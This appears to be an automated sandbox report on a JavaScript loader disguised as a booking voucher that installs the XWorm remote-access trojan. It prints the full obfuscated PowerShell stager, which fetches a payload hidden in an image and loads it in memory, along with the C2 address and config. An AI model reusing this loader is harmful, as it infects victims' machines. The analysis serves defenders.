| File name: | Voucherdereserva_21_06_2025_64565665_54462653202546.js |
| Full analysis: | https://app.any.run/tasks/fd5d1c51-de7b-49ca-a51e-e3081307618f |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | June 21, 2025, 22:39:58 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/javascript |
| File info: | JavaScript source, Unicode text, UTF-8 text, with CRLF line terminators |
| MD5: | 806C7A5FDFF78B2FF0685B46E3589B3F |
| SHA1: | 270BC6F7408DEC345BC81C128293E7994B285513 |
| SHA256: | E5258678C7718C6B2E87242536B3FE038B74C01997628AD5CCE5C10A78F5DC6B |
| SSDEEP: | 768:J4eQrqp4wv4zQ5sVdtwkscb09T9Y8VQQf522KK:J4i4NzQ6VyYi/f5RKK |
MALICIOUS
Creates internet connection object (SCRIPT)
- wscript.exe (PID: 3864)
Opens an HTTP connection (SCRIPT)
- wscript.exe (PID: 3864)
Sends HTTP request (SCRIPT)
- wscript.exe (PID: 3864)
Bypass execution policy to execute commands
- powershell.exe (PID: 1296)
Run PowerShell with an invisible window
- powershell.exe (PID: 1296)
Changes powershell execution policy (Bypass)
- wscript.exe (PID: 3864)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 1296)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 1296)
Create files in the Startup directory
- MSBuild.exe (PID: 4196)
XWORM has been detected (YARA)
- MSBuild.exe (PID: 4196)
SUSPICIOUS
Potential Corporate Privacy Violation
- wscript.exe (PID: 3864)
- powershell.exe (PID: 1296)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 3864)
Runs shell command (SCRIPT)
- wscript.exe (PID: 3864)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 3864)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 3864)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 1296)
Writes data to a memory stream (POWERSHELL)
- powershell.exe (PID: 1296)
Converts a specified value to an integer (POWERSHELL)
- powershell.exe (PID: 1296)
Process drops legitimate windows executable
- MSBuild.exe (PID: 4196)
Connects to unusual port
- MSBuild.exe (PID: 4196)
Executable content was dropped or overwritten
- MSBuild.exe (PID: 4196)
INFO
Self-termination (SCRIPT)
- wscript.exe (PID: 3864)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 1296)
Found Base64 encoded spyware-related PowerShell classes (YARA)
- powershell.exe (PID: 1296)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 1296)
Checks supported languages
- MSBuild.exe (PID: 4196)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 1296)
Disables trace logs
- powershell.exe (PID: 1296)
Checks proxy server information
- powershell.exe (PID: 1296)
- slui.exe (PID: 4960)
Gets data length (POWERSHELL)
- powershell.exe (PID: 1296)
Found Base64 encoded access to BitConverter class via PowerShell (YARA)
- powershell.exe (PID: 1296)
The sample compiled with english language support
- MSBuild.exe (PID: 4196)
Launching a file from the Startup directory
- MSBuild.exe (PID: 4196)
Reads the software policy settings
- slui.exe (PID: 4960)
Reads the computer name
- MSBuild.exe (PID: 4196)
Reads the machine GUID from the registry
- MSBuild.exe (PID: 4196)
Creates files or folders in the user directory
- MSBuild.exe (PID: 4196)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
XWorm
(PID) Process(4196) MSBuild.exe
C2181.214.48.110:300
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameXWorm V5.6
MutexCB0X2rtniXszQ3JN
TRiD
| .s | | | Digital Micrograph Script (100) |
|---|
Total processes
138
Monitored processes
5
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1296 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -noprofile -ep bypass -c "$chaoticity='JHN0ZXJuZWJyYWwgPSAnVmtGSic7JHRoZXJtYWwgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRzdGVybmVicmFsKTskZ3JlY28gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkdGhlcm1hbCk7JGZseXdlaWdodCA9ICdaRzVzYVdJdVNVOHVTRzl0WlE9PSc7JHVuZGVydGlwcGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbWJhc2U2NFN0cmluZygkZmx5d2VpZ2h0KTskaG9ycmlwaWxhbnQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkdW5kZXJ0aXBwZWQpO0FkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLkRyYXdpbmc7JGdhaW5zYXlpbmc9J2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvd3A0MDk2Nzk5LWxvc3QtaW4tc3BhY2Utd2FsbHBhcGVyc18yMDI1MDYyMV8xNDQ3L3dwNDA5Njc5OS1sb3N0LWluLXNwYWNlLXdhbGxwYXBlcnMuanBnJzskbW9zaGVycz1OZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRtb3NoZXJzLkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAnKTskcmhhcGlkb3BoeWxsdW09JG1vc2hlcnMuRG93bmxvYWREYXRhKCRnYWluc2F5aW5nKTskbXVsdGlkaXNjaXBsaW5lPVtieXRlW11dKDB4NDIsIDB4NEQsIDB4MkEsIDB4OEIsIDB4MTcsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MzYsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MjgsIDB4MDApOyRkaW1lcml6ZXM9LTE7Zm9yKCRkb2xsbWFuPTA7JGRvbGxtYW4gLWxlICRyaGFwaWRvcGh5bGx1bS5MZW5ndGgtJG11bHRpZGlzY2lwbGluZS5MZW5ndGg7JGRvbGxtYW4rKyl7ICRuZWdhdGl2aXN0PSR0cnVlO2ZvcigkaHlwb3h5bG9uPTA7JGh5cG94eWxvbiAtbHQgJG11bHRpZGlzY2lwbGluZS5MZW5ndGg7JGh5cG94eWxvbisrKXtpZigkcmhhcGlkb3BoeWxsdW1bJGRvbGxtYW4rJGh5cG94eWxvbl0gLW5lICRtdWx0aWRpc2NpcGxpbmVbJGh5cG94eWxvbl0peyRuZWdhdGl2aXN0PSRvYnRydXNpdmVuZXNzO2JyZWFrfX1pZigkbmVnYXRpdmlzdCl7JGRpbWVyaXplcz0kZG9sbG1hbjticmVha319aWYoJGRpbWVyaXplcyAtZXEgLTEpe3JldHVybn07JHJldm90aW5nPSRyaGFwaWRvcGh5bGx1bVskZGltZXJpemVzLi4oJHJoYXBpZG9waHlsbHVtLkxlbmd0aC0xKV07JE1vbG9jaD1OZXctT2JqZWN0IElPLk1lbW9yeVN0cmVhbTskTW9sb2NoLldyaXRlKCRyZXZvdGluZywwLCRyZXZvdGluZy5MZW5ndGgpOyRNb2xvY2guU2VlaygwLCdCZWdpbicpfE91dC1OdWxsOyRzbWFybWluZz1bRHJhd2luZy5CaXRtYXBdOjpGcm9tU3RyZWFtKCRNb2xvY2gpOyRkZWNpdmlsaXNlZD1OZXctT2JqZWN0IENvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXTtmb3IoJGJhbGFuZHJhbmE9MDskYmFsYW5kcmFuYSAtbHQgJHNtYXJtaW5nLkhlaWdodDskYmFsYW5kcmFuYSsrKXtmb3IoJHN0b21hY2hpYz0wOyRzdG9tYWNoaWMgLWx0ICRzbWFybWluZy5XaWR0aDskc3RvbWFjaGljKyspeyRkYW50aG9uaWE9JHNtYXJtaW5nLkdldFBpeGVsKCRzdG9tYWNoaWMsJGJhbGFuZHJhbmEpOyRkZWNpdmlsaXNlZC5BZGQoJGRhbnRob25pYS5SKTskZGVjaXZpbGlzZWQuQWRkKCRkYW50aG9uaWEuRyk7JGRlY2l2aWxpc2VkLkFkZCgkZGFudGhvbmlhLkIpfX07JHNjYXRoZXM9W0JpdENvbnZlcnRlcl06OlRvSW50MzIoJGRlY2l2aWxpc2VkLkdldFJhbmdlKDAsNCkuVG9BcnJheSgpLDApOyRiaW9jb25qdWdhdGlvbnM9JGRlY2l2aWxpc2VkLkdldFJhbmdlKDQsJHNjYXRoZXMpLlRvQXJyYXkoKTskc2lnbnVwcz1bQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRiaW9jb25qdWdhdGlvbnMpLlJlcGxhY2UoJ0EnLCdAJykuUmVwbGFjZSgnQCcsJ0EnKTskZXF1aXBvbGxlbmNlPSc9PUFNdjAyTjJOSE0xOW1jdlEyTGxWbUxsUjNjaEIzTHZvRGMwUkhhJy5SZXBsYWNlKCckPCcsJ3QnKTskQXplcmJhaWphbj1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHNpZ251cHMpOyRob3Nhbm5haGluZz1bUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJEF6ZXJiYWlqYW4pOyRpcm9ud29vZD1AKCRlcXVpcG9sbGVuY2UsJycsJycsJycsJ01TQnVpbGQnLCcnLCcnLCcxJywnaHR0cHM6Ly9qYXZhYXBsdWdpbi5jb20vYmtwJywnQzpcVXNlcnNcUHVibGljXERvd25sb2FkcycsJ09yYW5nZXdvbWVuJywnanMnLCc2MCcsJycsJ2xlcGlzbWlkJywnMicsJycpOyRob3Nhbm5haGluZy5HZXRUeXBlKCRob3JyaXBpbGFudCkuR2V0TWV0aG9kKCRncmVjbykuSW52b2tlKCRCcmFpbnRyZWUsJGlyb253b29kKTskc21hcm1pbmcuRGlzcG9zZSgpOyRNb2xvY2guRGlzcG9zZSgp';$allothigenic=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($chaoticity));Invoke-Expression $allothigenic" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3864 | "C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\Voucherdereserva_21_06_2025_64565665_54462653202546.js | C:\Windows\System32\wscript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 3884 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4196 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
XWorm(PID) Process(4196) MSBuild.exe C2181.214.48.110:300 Keys AES<123456789> Options Splitter<Xwormmm> Sleep time3 USB drop nameXWorm V5.6 MutexCB0X2rtniXszQ3JN | |||||||||||||||
| 4960 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
12 658
Read events
12 657
Write events
1
Delete events
0
Modification events
| (PID) Process: | (3864) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 3E70170000000000 | |||
Executable files
1
Suspicious files
2
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1296 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0qe1oh2u.3vj.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4196 | MSBuild.exe | C:\Users\admin\AppData\Local\windows.exe | executable | |
MD5:9F331A11A054F33664FE86543FC34CF0 | SHA256:5F9AF68DB10B029453264CFC9B8EEE4265549A2855BB79668CCFC571FB11F5FC | |||
| 4196 | MSBuild.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows.lnk | binary | |
MD5:335AC9BA711217DB1C69C379E87008CC | SHA256:9A8A564694D05133F9683E31AFFCBBD4541878D1B8A2D1CFCD40782F06081305 | |||
| 1296 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ebprgp0c.qix.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1296 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:95B2D26752E12F46BD133119C1A17470 | SHA256:9B9C1FD0000B323DAA14FDCCC1D9DCED12E52FD3A9E0285686B7F2CFDABBB841 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
37
TCP/UDP connections
54
DNS requests
21
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3864 | wscript.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/fA8AjeRa/0 | unknown | — | — | shared |
— | — | GET | 200 | 23.186.113.60:443 | https://paste.ee/d/fA8AjeRa/0 | unknown | binary | 42.4 Kb | shared |
1268 | svchost.exe | GET | 200 | 184.24.77.23:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 184.24.77.23:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
3676 | RUXIMICS.exe | GET | 200 | 184.24.77.23:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3676 | RUXIMICS.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | POST | 200 | 20.190.160.65:443 | https://login.live.com/RST2.srf | unknown | xml | 1.24 Kb | whitelisted |
— | — | GET | 302 | 207.241.224.2:443 | https://archive.org/download/wp4096799-lost-in-space-wallpapers_20250621_1447/wp4096799-lost-in-space-wallpapers.jpg | unknown | — | — | — |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5944 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1268 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3676 | RUXIMICS.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3864 | wscript.exe | 23.186.113.60:80 | paste.ee | — | — | shared |
3864 | wscript.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
5944 | MoUsoCoreWorker.exe | 184.24.77.23:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1268 | svchost.exe | 184.24.77.23:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
3676 | RUXIMICS.exe | 184.24.77.23:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
paste.ee |
| shared |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
archive.org |
| whitelisted |
dn721503.ca.archive.org |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2200 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
3864 | wscript.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
— | — | A Network Trojan was detected | SUSPICIOUS [ANY.RUN] VBS is used to run Shell |
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
1296 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
— | — | Potentially Bad Traffic | PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound |
— | — | Exploit Kit Activity Detected | ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 |
— | — | A Network Trojan was detected | ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound |